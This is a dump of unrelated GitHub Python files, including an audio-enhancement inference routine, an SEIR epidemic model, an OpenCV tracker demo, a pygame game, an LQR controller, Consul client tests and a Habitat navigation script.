torch.arange(segment - segment // 2, 0, -1)])\n assert len(weight) == segment\n weight = (weight / weight.max())\n for offset in offsets:\n start = offset\n stop = min(start+segment, length)\n chunk = mix[...,start:stop]\n chunk_out = model_infer(model, chunk, device=device,\n n_splitter_bits=n_splitter_bits,\n n_combiner_bits=n_combiner_bits)\n chunk_length = chunk_out.shape[-1]\n chunk_out = swap_channel_order(chunk_out, torch.from_numpy(target)[...,start:start+segment]) if target and model.n_srcs>1 else chunk_out\n out[..., start:stop] += weight[:chunk_length] * chunk_out\n sum_weight[start:stop] += weight[:chunk_length]\n assert sum_weight.min() > 0\n out /= sum_weight\n return out\n else:\n # Preprocess\n # ------------------------\n mix = mix.unsqueeze(0) # assume batch_size=1\n mix = preprocess(mix, n_splitter=model.n_splitter, n_bits=n_splitter_bits)\n\n # Run model\n # -------------------------\n with torch.no_grad():\n out = model(mix.to(device)).detach().cpu()\n\n # Postprocess\n # ------------------------\n out = postprocess(out, n_combiner=model.n_combiner, n_bits=n_combiner_bits)\n out = out[0] # assume batch_size=1\n # Padding, so output will be the same size as input\n out = F.pad(out, (0, mix.size(-1) - out.size(-1)))\n\n return out\n\n","repo_name":"zhongshijun/FQSE","sub_path":"process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":6988,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"34"} +{"seq_id":"7775122952","text":"import numpy as np\nimport pandas as pd\nfrom scipy.integrate import solve_ivp\nimport models.helper as h\nimport time\nfrom joblib import Parallel, delayed\nimport matplotlib.pyplot as plt\n\nn_cores = 7 # todo: adjust to make actual number of cores\n\ndef solve_SIRS_model(par, var_par, include_fatigue=True):\n\n def model_wrapper(t, y, par):\n\n # Split compartments\n S, E, I, R, C = h.split_seir_compartments(y=y, par=par)\n # Run simulation\n S, E, I, R, C = h.age_structured_SEIR_model(S=S, E=E, I=I, R=R,\n C=C, par=par)\n # Combine compartments\n y_new = np.concatenate((S, E.flatten(), I.flatten(), R, C))\n\n return y_new\n\n # Start of interventions\n\n # End all interventions not affecting older age classes\n var_par_off = var_par.copy()\n if include_fatigue:\n var_par_off[[\"q_a\", \"q_ya\", \"q_y\"]] = 0\n\n cm_no_int = par[\"cm\"]\n cm_int1 = h.get_intervention_cm(par=par, var_par=var_par)\n cm_int2 = h.get_intervention_cm(par=par, var_par=var_par_off)\n\n\n # Initial conditions\n initial_cond = h.set_initial_conditions(par)\n\n # Crude implementation of applying controls (off->on->reduced)\n par[\"cm_sd\"] = cm_no_int\n sol = solve_ivp(fun=model_wrapper, t_span=[0, par[\"tint\"]],\n y0=initial_cond, method=\"RK45\",\n t_eval=np.arange(0, par[\"tint\"]+1, 1),\n args=(par,))\n\n par[\"cm_sd\"] = cm_int1\n sol2 = solve_ivp(fun=model_wrapper, t_span=[par[\"tint\"], par[\"tint2\"]],\n y0=sol[\"y\"][:, -1], method=\"RK45\",\n t_eval=np.arange(par[\"tint\"]+1, par[\"tint2\"]+1, 1),\n args=(par,))\n\n par[\"cm_sd\"] = cm_int2\n sol3 = solve_ivp(fun=model_wrapper, t_span=[par[\"tint2\"], par[\"tmax\"]],\n y0=sol2[\"y\"][:, -1], method=\"RK45\",\n t_eval=np.arange(par[\"tint2\"]+1, par[\"tmax\"]+1, 1),\n args=(par,))\n\n # # Reset par[\"cm\"] to its original value\n # par[\"cm\"] = cm_no_int\n\n # Convert output to dataframe\n ret_df = pd.concat([h.convert_to_data_frame(output=sol, par=par),\n h.convert_to_data_frame(output=sol2, par=par),\n h.convert_to_data_frame(output=sol3, par=par)], axis=0)\n return ret_df\n\n\ndef out_df_wrapper(i, par, var_par, include_fatigue=True):\n n_ages = par[\"n_ages\"]\n\n out_df = solve_SIRS_model(par=par, var_par=var_par,\n include_fatigue=include_fatigue)\n out_df[\"run\"] = i\n I_cols = [\"I\" + str(y) for y in range(0, n_ages)] # todo: why is this done here?\n out_df[\"I_tot\"] = out_df[I_cols].sum(axis=1)\n return out_df\n\n#%%\n# todo check if i need to tweak start date for control with different R0\n\n\ndef run_seir_simulations(par, include_fatigue=True):\n\n\n\n if include_fatigue:\n filepath = h.with_fatigue_filepath\n else:\n filepath = h.no_fatigue_filepath\n\n exp_design = pd.read_csv(h.exp_design_filepath, index_col=0)\n\n start_time = time.time()\n out = Parallel(n_jobs=n_cores)(delayed(out_df_wrapper)(i, par=par,\n var_par=r,\n include_fatigue=include_fatigue)\n for i, r in exp_design.iterrows())\n print(\"--- %s seconds ---\" % (time.time() - start_time))\n\n out = pd.concat(out)\n out = out.sort_values([\"run\", \"time\"])\n\n h.get_fatality_rate(out, stay_duration=par[\"stay_duration\"])\n print(\"--- %s seconds ---\" % (time.time() - start_time))\n\n out.to_csv(filepath)\n\n\ndef single_seir_run_test(par):\n\n exp_design = pd.read_csv(h.exp_design_filepath, index_col=0)\n out_df = solve_SIRS_model(par=par, var_par=exp_design.iloc[0])\n out_df[\"run\"] = 0\n I_cols = [\"I\" + str(y) for y in range(0, par[\"n_ages\"])]\n out_df[\"I_tot\"] = out_df[I_cols].sum(axis=1)\n\n return out_df\n\n\ndef get_last_day_below(par, threshold=10000):\n\n df = single_seir_run_test(par=par)\n I_tot_max = df[\"I_tot\"].cummax()\n\n return I_tot_max[(I_tot_max < threshold)].index.max()\n\n\ndef single_run_test_plot(par, t2=2):\n\n df = single_seir_run_test(par=par)\n fig, axes = plt.subplots(figsize=(5, 4))\n ax = axes\n ax.plot(np.log10(df[\"I_tot\"]))\n x = np.arange(0,50,2)\n ax.plot(np.log10(df[\"I_tot\"]))\n ax.plot(x, x*np.log10(2)/t2)\n\n return fig\n\n#fig_single = single_run_test_plot(R0=6.0)\n#plt.show()\n\n\n","repo_name":"tsbrett/COVID-19_herd_immunity","sub_path":"models/age_structured_seir_model_gamma_dist.py","file_name":"age_structured_seir_model_gamma_dist.py","file_ext":"py","file_size_in_byte":4492,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"34"} +{"seq_id":"32410175141","text":"\nvocabliary, text = [], []\nwords = []\nd = int(input())\nfor _ in range(d):\n vocabliary.append(input().lower())\nvocabliary = set(vocabliary)\n\nL = int(input())\nfor _ in range(L):\n words.append(input().split())\ntext = set(words)\n\n#text.difference_update(vocabliary)\nprint(text - vocabliary)","repo_name":"GolDOragon/Some-tasks-on-Python","sub_path":"stepik/Programing on Python/Third week/3.7-3 v.2(Ошибка).py","file_name":"3.7-3 v.2(Ошибка).py","file_ext":"py","file_size_in_byte":292,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"10387363035","text":"# pip install opencv-contrib-python\r\nimport cv2 as cv\r\nimport numpy as np\r\n\r\ntracker_types = ['BOOSTING', 'MIL', 'KCF', 'TLD', 'MEDIANFLOW', 'MOSSE', 'CSRT']\r\ntracker_type = tracker_types[5]\r\ntracker = None\r\n\r\nif tracker_type == 'BOOSTING':\r\n\ttracker = cv.TrackerBoosting_create()\r\nelif tracker_type == 'MIL':\r\n\ttracker = cv.TrackerMIL_create()\r\nelif tracker_type == 'KCF':\r\n\ttracker = cv.TrackerKCF_create()\r\nelif tracker_type == 'TLD':\r\n\ttracker = cv.TrackerTLD_create()\r\nelif tracker_type == 'MEDIANFLOW':\r\n\ttracker = cv.TrackerMedianFlow_create()\r\nelif tracker_type == 'MOSSE':\r\n\ttracker = cv.TrackerMOSSE_create()\r\nelif tracker_type == \"CSRT\":\r\n\ttracker = cv.TrackerCSRT_create()\r\n\r\n\r\nvideo = cv.VideoCapture(0)\r\n\r\nwhile True:\r\n\tok, frame = video.read()\r\n\tif not ok: break\r\n\tcv.imshow('Tracking', frame)\r\n\tif cv.waitKey(1) != -1: break\r\n\r\nbbox = cv.selectROI('Tracking', frame, showCrosshair=False)\r\nprint(bbox)\r\n\r\n# Initialize tracker with first frame and bounding box\r\nok = tracker.init(frame, bbox)\r\nprint('tracker.init :', ok)\r\n\r\ncount = 0\r\nfps = 0\r\nt0 = cv.getTickCount()\r\n\r\nwhile True:\r\n\r\n\tok, frame = video.read()\r\n\tif not ok: break\r\n\tif cv.waitKey(1) == 27: break\r\n\r\n\t# Update tracker\r\n\tok, bbox = tracker.update(frame)\r\n\r\n\t# Draw bounding box\r\n\tif ok:\r\n\t\t# Tracking success\r\n\t\tp1 = (int(bbox[0]), int(bbox[1]))\r\n\t\tp2 = (int(bbox[0] + bbox[2]), int(bbox[1] + bbox[3]))\r\n\t\tcv.rectangle(frame, p1, p2, (0, 255, 0), 2)\r\n\telse:\r\n\t\t# Tracking failure\r\n\t\tcv.putText(frame, 'Tracking failure', (200, 240), cv.FONT_HERSHEY_SIMPLEX, 1, (0, 0, 255), 2)\r\n\r\n\t# Display tracker type on frame\r\n\tcv.putText(frame, tracker_type + \" Tracker\", (10, 60), cv.FONT_HERSHEY_SIMPLEX, 1, (0, 255, 0), 2)\r\n\r\n\t# Display FPS on frame\r\n\tcv.putText(frame, \"FPS : \" + str(int(fps)), (10, 30), cv.FONT_HERSHEY_SIMPLEX, 1, (0, 255, 0), 2)\r\n\r\n\t# Display result\r\n\tcv.imshow('Tracking', frame)\r\n\r\n\t# Exit if ESC pressed\r\n\tif cv.waitKey(1) == 27: break\r\n\r\n\tcount += 1\r\n\tif( count == 10 ):\r\n\t\tt = cv.getTickCount()\r\n\t\ttime = (t-t0) / cv.getTickFrequency()\r\n\t\tfps = int(np.round(10/time))\r\n\t\tcount = 0\r\n\t\tt0 = t\r\n\r\n","repo_name":"sungalex/computer-vision","sub_path":"opencv/30.object_tracking.py","file_name":"30.object_tracking.py","file_ext":"py","file_size_in_byte":2090,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"34"} +{"seq_id":"14520462044","text":"import pygame\nfrom rock_element import Rocks\n\ndef draw_round(screen,level_text):\n font = pygame.font.SysFont(\"microsoftjhengheimicrosoftjhengheiui\", 30)\n level_text = font.render(level_text , True, \"BLACK\")\n screen.blit(level_text, (500, 10)) \n \ndef round(score,screen): \n if score >= 0 and score < 2:\n draw_round(screen,\"TUTORIAL\")\n if score >= 2 and score < 10: \n draw_round(screen,\"ROUND 1\") \n if score >=10 and score < 21:\n draw_round(screen,\"ROUND 2\")\n if score >= 21 and score < 43:\n draw_round(screen,\"ROUND 3\")\n if score >= 43 and score < 69:\n draw_round(screen,\"ROUND 4\")\n if score >= 69 :\n draw_round(screen,\"FINAL ROUND\")\n \n\n\ndef tutorial(enemies,create_enemy):\n if len(enemies) < 2:\n create_enemy()\n\ndef lvl_1 (enemies,create_enemy,list_rocks):\n if len(list_rocks) == 7:\n list_rocks.append(Rocks(\"Images\\\\rock.png\", 40, 200,250))\n list_rocks.append(Rocks(\"Images\\\\rock.png\", 40, 350,100))\n if len(enemies) < 5:\n create_enemy()\n\ndef lvl_2(enemies,create_enemy,list_rocks):\n if len(list_rocks) == 9:\n list_rocks.append(Rocks(\"Images\\\\rock.png\", 40, 350,100))\n list_rocks.append(Rocks(\"Images\\\\rock.png\", 40, 500,700))\n if len(enemies) < 7:\n create_enemy()\n \ndef lvl_3(enemies,create_enemy,list_rocks):\n if len(list_rocks) == 11:\n list_rocks.append(Rocks(\"Images\\\\rock.png\", 40, 350,550))\n list_rocks.append(Rocks(\"Images\\\\rock.png\", 40, 525,689))\n if len(enemies) < 10:\n create_enemy()\n \ndef lvl_4(enemies,create_enemy,list_rocks):\n if len(list_rocks) == 13:\n list_rocks.append(Rocks(\"Images\\\\rock.png\", 40, 100,540))\n list_rocks.append(Rocks(\"Images\\\\rock.png\", 40, 900,540))\n if len(enemies) < 20:\n create_enemy()\n \ndef lvl_5(enemies,create_enemy):\n if len(enemies) < 20:\n create_enemy()\n\n","repo_name":"AleFalcone27/Code_Defender","sub_path":"Levels/LVL1.py","file_name":"LVL1.py","file_ext":"py","file_size_in_byte":1941,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"9825978989","text":"import numpy as np\nimport torch as to\n\nimport pyrado\nfrom pyrado.algorithms.base import Algorithm\nfrom pyrado.algorithms.stopping_criteria.predefined_criteria import CustomStoppingCriterion\nfrom pyrado.environment_wrappers.utils import inner_env\nfrom pyrado.environments.pysim.quanser_ball_balancer import QBallBalancerSim\nfrom pyrado.environments.rcspysim.ball_on_plate import BallOnPlate5DSim\nfrom pyrado.environments.sim_base import SimEnv\nfrom pyrado.logger.step import StepLogger\nfrom pyrado.policies.base import Policy\nfrom pyrado.policies.feed_back.linear import LinearPolicy\nfrom pyrado.sampling.cvar_sampler import CVaRSampler\nfrom pyrado.sampling.parallel_rollout_sampler import ParallelRolloutSampler\nfrom pyrado.tasks.reward_functions import QuadrErrRewFcn\nfrom pyrado.utils.tensor import insert_tensor_col\n\n\nclass LQR(Algorithm):\n \"\"\"Linear Quadratic Regulator created using the control module\"\"\"\n\n name: str = \"lqr\"\n\n def __init__(\n self,\n save_dir: pyrado.PathLike,\n env: SimEnv,\n policy: Policy,\n min_rollouts: int = None,\n min_steps: int = None,\n num_workers: int = 4,\n logger: StepLogger = None,\n ball_z_dim_mismatch: bool = True,\n ):\n \"\"\"\n Constructor\n\n :param save_dir: directory to save the snapshots i.e. the results in\n :param env: the environment which the policy operates\n :param policy: policy which this algorithm is creating\n :param min_rollouts: minimum number of rollouts sampled per policy update batch\n :param min_steps: minimum number of state transitions sampled per policy update batch\n :param num_workers: number of environments for parallel sampling\n :param ball_z_dim_mismatch: only useful for BallOnPlate5DSim,\n set to True if the controller does not have the z component (relative position)\n of the ball in the state vector, i.e. state is 14-dim instead of 16-dim\n \"\"\"\n if not isinstance(env, SimEnv):\n raise pyrado.TypeErr(given=env, expected_type=SimEnv)\n if not isinstance(policy, LinearPolicy):\n raise pyrado.TypeErr(given=policy, expected_type=LinearPolicy)\n\n # Call Algorithm's constructor\n super().__init__(save_dir, 1, policy, logger)\n\n # Store the inputs\n self._env = env\n self.ball_z_dim_mismatch = ball_z_dim_mismatch\n\n self._sampler = ParallelRolloutSampler(\n env, self._policy, num_workers=num_workers, min_steps=min_steps, min_rollouts=min_rollouts\n )\n self.eigvals = np.array([pyrado.inf]) # initialize with sth positive\n\n @property\n def sampler(self) -> ParallelRolloutSampler:\n return self._sampler\n\n @sampler.setter\n def sampler(self, sampler: ParallelRolloutSampler):\n if not isinstance(sampler, (ParallelRolloutSampler, CVaRSampler)):\n raise pyrado.TypeErr(given=sampler, expected_type=(ParallelRolloutSampler, CVaRSampler))\n self._sampler = sampler\n\n def step(self, snapshot_mode: str, meta_info: dict = None):\n\n if isinstance(inner_env(self._env), BallOnPlate5DSim):\n ctrl_gains = to.tensor(\n [\n [0.1401, 0, 0, 0, -0.09819, -0.1359, 0, 0.545, 0, 0, 0, -0.01417, -0.04427, 0],\n [0, 0.1381, 0, 0.2518, 0, 0, -0.2142, 0, 0.5371, 0, 0.03336, 0, 0, -0.1262],\n [0, 0, 0.1414, 0.0002534, 0, 0, -0.0002152, 0, 0, 0.5318, 0, 0, 0, -0.0001269],\n [0, -0.479, -0.0004812, 39.24, 0, 0, -15.44, 0, -1.988, -0.001934, 9.466, 0, 0, -13.14],\n [0.3039, 0, 0, 0, 25.13, 15.66, 0, 1.284, 0, 0, 0, 7.609, 6.296, 0],\n ]\n )\n\n # Compensate for the mismatching different state definition\n if self.ball_z_dim_mismatch:\n ctrl_gains = insert_tensor_col(ctrl_gains, 7, to.zeros((5, 1))) # ball z position\n ctrl_gains = insert_tensor_col(ctrl_gains, -1, to.zeros((5, 1))) # ball z velocity\n\n elif isinstance(inner_env(self._env), QBallBalancerSim):\n # Since the control module can by tricky to install (recommended using anaconda), we only load it if needed\n import control\n\n # System modeling\n dp = self._env.domain_param\n dp[\"J_eq\"] = self._env._J_eq\n dp[\"B_eq_v\"] = self._env._B_eq_v\n dp[\"c_kin\"] = self._env._c_kin\n dp[\"zeta\"] = self._env._zeta\n dp[\"A_m\"] = self._env._A_m\n\n A = np.zeros((self._env.obs_space.flat_dim, self._env.obs_space.flat_dim))\n A[: self._env.obs_space.flat_dim // 2, self._env.obs_space.flat_dim // 2 :] = np.eye(\n self._env.obs_space.flat_dim // 2\n )\n A[4, 4] = -dp[\"B_eq_v\"] / dp[\"J_eq\"]\n A[5, 5] = -dp[\"B_eq_v\"] / dp[\"J_eq\"]\n A[6, 0] = dp[\"c_kin\"] * dp[\"ball_mass\"] * dp[\"gravity_const\"] * dp[\"ball_radius\"] ** 2 / dp[\"zeta\"]\n A[6, 6] = -dp[\"c_kin\"] * dp[\"ball_radius\"] ** 2 / dp[\"zeta\"]\n A[7, 1] = dp[\"c_kin\"] * dp[\"ball_mass\"] * dp[\"gravity_const\"] * dp[\"ball_radius\"] ** 2 / dp[\"zeta\"]\n A[7, 7] = -dp[\"c_kin\"] * dp[\"ball_radius\"] ** 2 / dp[\"zeta\"]\n B = np.zeros((self._env.obs_space.flat_dim, self._env.act_space.flat_dim))\n B[4, 0] = dp[\"A_m\"] / dp[\"J_eq\"]\n B[5, 1] = dp[\"A_m\"] / dp[\"J_eq\"]\n # C = np.zeros((self._env.obs_space.flat_dim // 2, self._env.obs_space.flat_dim))\n # C[:self._env.obs_space.flat_dim // 2, :self._env.obs_space.flat_dim // 2] =\n # np.eye(self._env.obs_space.flat_dim // 2)\n # D = np.zeros((self._env.obs_space.flat_dim // 2, self._env.act_space.flat_dim))\n\n # Get the weighting matrices from the environment\n if not isinstance(self._env.task.rew_fcn, QuadrErrRewFcn):\n # The environment uses a reward function compatible with the LQR\n Q = self._env.task.rew_fcn.Q\n R = self._env.task.rew_fcn.R\n else:\n # The environment does not use a reward function compatible with the LQR, apply some fine tuning\n Q = np.diag([1e2, 1e2, 5e2, 5e2, 1e-2, 1e-2, 5e0, 5e0])\n R = np.diag([1e-2, 1e-2])\n\n # Solve the continuous time Riccati eq\n K, _, self.eigvals = control.lqr(A, B, Q, R) # for discrete system pass dt\n ctrl_gains = to.from_numpy(K).to(to.get_default_dtype())\n\n else:\n raise pyrado.TypeErr(given=inner_env(self._env), expected_type=[BallOnPlate5DSim, QBallBalancerSim])\n\n # Assign the controller gains\n self._policy.init_param(-1 * ctrl_gains) # in classical control it is u = -K*x; here a = psi(s)*s\n\n # Sample rollouts to evaluate the LQR\n ros = self.sampler.sample()\n\n # Logging\n rets = [ro.undiscounted_return() for ro in ros]\n self.logger.add_value(\"max return\", np.max(rets), 4)\n self.logger.add_value(\"median return\", np.median(rets), 4)\n self.logger.add_value(\"min return\", np.min(rets), 4)\n self.logger.add_value(\"avg return\", np.mean(rets), 4)\n self.logger.add_value(\"std return\", np.std(rets), 4)\n self.logger.add_value(\"avg rollout len\", np.mean([ro.length for ro in ros]), 4)\n self.logger.add_value(\"num total samples\", self._cnt_samples)\n self.logger.add_value(\n \"min mag policy param\", self._policy.param_values[to.argmin(abs(self._policy.param_values))]\n )\n self.logger.add_value(\n \"max mag policy param\", self._policy.param_values[to.argmax(abs(self._policy.param_values))]\n )\n\n # Save snapshot data\n self.make_snapshot(snapshot_mode, float(np.mean(rets)), meta_info)\n\n self.stopping_criterion = self.stopping_criterion | CustomStoppingCriterion(self._custom_stopping_criterion)\n\n @staticmethod\n def _custom_stopping_criterion(algo: \"LQR\") -> bool:\n \"\"\"Checks if the all eigenvalues of the closed loop system are negative.\"\"\"\n return (algo.eigvals < 0).all()\n\n def save_snapshot(self, meta_info: dict = None):\n super().save_snapshot(meta_info)\n\n if meta_info is None:\n # This algorithm instance is not a subroutine of another algorithm\n pyrado.save(self._env, \"env.pkl\", self.save_dir)\n","repo_name":"famura/SimuRLacra","sub_path":"Pyrado/pyrado/algorithms/episodic/predefined_lqr.py","file_name":"predefined_lqr.py","file_ext":"py","file_size_in_byte":8460,"program_lang":"python","lang":"en","doc_type":"code","stars":61,"dataset":"github-code","pt":"34"} +{"seq_id":"31343014611","text":"import pytest\n\nfrom discovery import api\n\n\ndef list_services_response():\n return {\n \"redis\": {\n \"ID\": \"redis\",\n \"Service\": \"redis\",\n \"Tags\": [],\n \"TaggedAddresses\": {\n \"lan\": {\"address\": \"127.0.0.1\", \"port\": 8000},\n \"wan\": {\"address\": \"198.18.0.53\", \"port\": 80},\n },\n \"Meta\": {\"redis_version\": \"4.0\"},\n \"Port\": 8000,\n \"Address\": \"\",\n \"EnableTagOverride\": False,\n \"Weights\": {\"Passing\": 10, \"Warning\": 1},\n }\n }\n\n\ndef register_payload():\n return {\n \"ID\": \"redis1\",\n \"Name\": \"redis\",\n \"Tags\": [\"primary\", \"v1\"],\n \"Address\": \"127.0.0.1\",\n \"Port\": 8000,\n \"Meta\": {\"redis_version\": \"4.0\"},\n \"EnableTagOverride\": False,\n \"Check\": {\n \"DeregisterCriticalServiceAfter\": \"90m\",\n \"Args\": [\"/usr/local/bin/check_redis.py\"],\n \"Interval\": \"10s\",\n \"Timeout\": \"5s\",\n },\n \"Weights\": {\"Passing\": 10, \"Warning\": 1},\n }\n\n\ndef service_health_id_response():\n return {\n \"passing\": {\n \"ID\": \"web1\",\n \"Service\": \"web\",\n \"Tags\": [\"rails\"],\n \"Address\": \"\",\n \"TaggedAddresses\": {\n \"lan\": {\"address\": \"127.0.0.1\", \"port\": 8000},\n \"wan\": {\"address\": \"198.18.0.53\", \"port\": 80},\n },\n \"Meta\": None,\n \"Port\": 80,\n \"EnableTagOverride\": False,\n \"Connect\": {\"Native\": False, \"Proxy\": None},\n \"CreateIndex\": 0,\n \"ModifyIndex\": 0,\n }\n }\n\n\ndef service_health_name_response():\n return {\n \"critical\": [\n {\n \"ID\": \"web2\",\n \"Service\": \"web\",\n \"Tags\": [\"rails\"],\n \"Address\": \"\",\n \"TaggedAddresses\": {\n \"lan\": {\"address\": \"127.0.0.1\", \"port\": 8000},\n \"wan\": {\"address\": \"198.18.0.53\", \"port\": 80},\n },\n \"Meta\": None,\n \"Port\": 80,\n \"EnableTagOverride\": False,\n \"Connect\": {\"Native\": False, \"Proxy\": None},\n \"CreateIndex\": 0,\n \"ModifyIndex\": 0,\n }\n ],\n \"passing\": [\n {\n \"ID\": \"web1\",\n \"Service\": \"web\",\n \"Tags\": [\"rails\"],\n \"Address\": \"\",\n \"TaggedAddresses\": {\n \"lan\": {\"address\": \"127.0.0.1\", \"port\": 8000},\n \"wan\": {\"address\": \"198.18.0.53\", \"port\": 80},\n },\n \"Meta\": None,\n \"Port\": 80,\n \"EnableTagOverride\": False,\n \"Connect\": {\"Native\": False, \"Proxy\": None},\n \"CreateIndex\": 0,\n \"ModifyIndex\": 0,\n }\n ],\n }\n\n\ndef service_payload_response():\n return {\n \"Kind\": \"connect-proxy\",\n \"ID\": \"web-sidecar-proxy\",\n \"Service\": \"web-sidecar-proxy\",\n \"Tags\": None,\n \"Meta\": None,\n \"Port\": 18080,\n \"Address\": \"\",\n \"TaggedAddresses\": {\n \"lan\": {\"address\": \"127.0.0.1\", \"port\": 8000},\n \"wan\": {\"address\": \"198.18.0.53\", \"port\": 80},\n },\n \"Weights\": {\"Passing\": 1, \"Warning\": 1},\n \"EnableTagOverride\": False,\n \"ContentHash\": \"4ecd29c7bc647ca8\",\n \"Proxy\": {\n \"DestinationServiceName\": \"web\",\n \"DestinationServiceID\": \"web\",\n \"LocalServiceAddress\": \"127.0.0.1\",\n \"LocalServicePort\": 8080,\n \"Config\": {\"foo\": \"bar\"},\n \"Upstreams\": [\n {\n \"DestinationType\": \"service\",\n \"DestinationName\": \"db\",\n \"LocalBindPort\": 9191,\n }\n ],\n },\n }\n\n\ndef status_response():\n return {\n \"passing\": {\n \"ID\": \"web1\",\n \"Service\": \"web\",\n \"Tags\": [\"rails\"],\n \"Address\": \"\",\n \"TaggedAddresses\": {\n \"lan\": {\"address\": \"127.0.0.1\", \"port\": 8000},\n \"wan\": {\"address\": \"198.18.0.53\", \"port\": 80},\n },\n \"Meta\": None,\n \"Port\": 80,\n \"EnableTagOverride\": False,\n \"Connect\": {\"Native\": False, \"Proxy\": None},\n \"CreateIndex\": 0,\n \"ModifyIndex\": 0,\n }\n }\n\n\n@pytest.fixture\nasync def service(consul_api):\n return api.Service(client=consul_api)\n\n\n@pytest.mark.parametrize(\"expected\", [list_services_response()])\nasync def test_list(service, expected):\n service.client.expected = expected\n response = await service.list()\n assert response == list_services_response()\n\n\nasync def test_register(service, mocker):\n spy = mocker.spy(service.client, \"put\")\n await service.register(register_payload())\n spy.assert_called_with(\n \"/v1/agent/service/register\",\n json={\n \"ID\": \"redis1\",\n \"Name\": \"redis\",\n \"Tags\": [\"primary\", \"v1\"],\n \"Address\": \"127.0.0.1\",\n \"Port\": 8000,\n \"Meta\": {\"redis_version\": \"4.0\"},\n \"EnableTagOverride\": False,\n \"Check\": {\n \"DeregisterCriticalServiceAfter\": \"90m\",\n \"Args\": [\"/usr/local/bin/check_redis.py\"],\n \"Interval\": \"10s\",\n \"Timeout\": \"5s\",\n },\n \"Weights\": {\"Passing\": 10, \"Warning\": 1},\n },\n )\n\n\nasync def test_deregister(service, mocker):\n spy = mocker.spy(service.client, \"put\")\n await service.deregister(\"my-service-id\")\n spy.assert_called_with(\n \"/v1/agent/service/deregister/my-service-id\",\n )\n\n\n@pytest.mark.parametrize(\n \"reason, expected\",\n [\n (None, \"/v1/agent/service/maintenance/my-service-id?enable=True\"),\n (\n \"For the tests\",\n \"/v1/agent/service/maintenance/my-service-id?enable=True&reason=For+the+tests\",\n ),\n ],\n)\nasync def test_enable_maintenance(reason, expected, service, mocker):\n spy = mocker.spy(service.client, \"put\")\n await service.enable_maintenance(\"my-service-id\", True, reason)\n spy.assert_called_with(expected)\n\n\n@pytest.mark.parametrize(\"expected\", [service_payload_response()])\nasync def test_configuration(service, expected):\n service.client.expected = expected\n response = await service.configuration(\"web-sidecar-proxy\")\n assert response == service_payload_response()\n\n\n@pytest.mark.parametrize(\"expected\", [service_health_name_response()])\nasync def test_health_by_name(service, expected):\n service.client.expected = expected\n response = await service.health_by_name(\"web\")\n assert response == service_health_name_response()\n\n\n@pytest.mark.parametrize(\"expected\", [service_health_id_response()])\nasync def test_health_by_id(service, expected):\n service.client.expected = expected\n response = await service.health_by_id(\"web1\")\n assert response == service_health_id_response()\n","repo_name":"amenezes/discovery-client","sub_path":"tests/unit/api/test_service.py","file_name":"test_service.py","file_ext":"py","file_size_in_byte":7105,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"34"} +{"seq_id":"20619463980","text":"# -*- coding: utf-8 -*-\r\n'''\r\nCreated on 2016年9月4日\r\n\r\n@author: NowImSleepy\r\n'''\r\nclass ApiConf():\r\n def Tuling(self):\r\n Tuling={\"url\":\"http://www.tuling123.com/openapi/api\",\r\n \"key\":\"d5f3fdfaccb93969a630f4e46751fde9\",\r\n \"userid\":\"123456\"}\r\n return Tuling\r\n def BaiduRest(self):\r\n BaiduRest={\"url\":\"https://openapi.baidu.com/oauth/2.0/token\",\r\n \"grant_type\":\"client_credentials\",\r\n \"client_id\":\"72n3GYlVpc1n4du35GYOrT4X\",\r\n \"client_secret\":\"3b83be694855a70b46590f18d17aec41\"}\r\n return BaiduRest","repo_name":"PulsarTao/Python-MagicMirror","sub_path":"Config/ApiConfig.py","file_name":"ApiConfig.py","file_ext":"py","file_size_in_byte":633,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"39437173374","text":"import numpy as np\nimport numpy.linalg as LA\nimport cv2\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport math\nfrom math import cos, sin, acos, atan2, pi, floor, degrees\nimport random\nfrom modeling.utils.navigation_utils import change_brightness, SimpleRLEnv, get_obs_and_pose\nfrom modeling.utils.baseline_utils import apply_color_to_map, pose_to_coords, gen_arrow_head_marker, read_map_npy, read_occ_map_npy, plus_theta_fn\nfrom modeling.utils.map_utils_occ_from_semmap import SemanticMap\nfrom modeling.localNavigator_Astar import localNav_Astar\nimport habitat\nimport habitat_sim\nfrom habitat.tasks.utils import cartesian_to_polar, quaternion_rotate_vector\nimport random\nfrom core import cfg\nimport modeling.utils.frontier_utils as fr_utils\nfrom timeit import default_timer as timer\n\nsplit = 'test' #'test' #'train'\nenv_scene = 'yqstnuAEVhm' #'17DRP5sb8fy' #'yqstnuAEVhm'\nfloor_id = 0\nscene_name = 'yqstnuAEVhm_0' #'17DRP5sb8fy_0' #'yqstnuAEVhm_0'\n\nscene_floor_dict = np.load(f'{cfg.GENERAL.SCENE_HEIGHTS_DICT_PATH}/{split}_scene_floor_dict.npy', allow_pickle=True).item()\n\ncfg.merge_from_file('configs/exp_360degree_Greedy_Potential_600STEPS.yaml')\ncfg.freeze()\n\n#================================ load habitat env============================================\nconfig = habitat.get_config(config_paths=cfg.GENERAL.DATALOADER_CONFIG_PATH)\nconfig.defrost()\nif split == 'train':\n\tconfig.DATASET.DATA_PATH = cfg.GENERAL.HABITAT_TRAIN_EPISODE_DATA_PATH\nelif split == 'test':\n\tconfig.DATASET.DATA_PATH = cfg.GENERAL.HABITAT_TEST_EPISODE_DATA_PATH\nconfig.DATASET.SCENES_DIR = cfg.GENERAL.HABITAT_SCENE_DATA_PATH\nconfig.freeze()\n\nenv = SimpleRLEnv(config=config)\n\nscene_height = scene_floor_dict[env_scene][floor_id]['y']\nstart_pose = (0.03828, -8.55946, 0.2964) #(-0.35, -0.85, 0.2964) #(0.03828, -8.55946, 0.2964)\nsaved_folder = f'output/TESTING_RESULTS_Frontier'\n\n#============================ get scene ins to cat dict\nscene = env.habitat_env.sim.semantic_annotations()\nins2cat_dict = {int(obj.id.split(\"_\")[-1]): obj.category.index() for obj in scene.objects}\n\n#=================================== start original navigation code 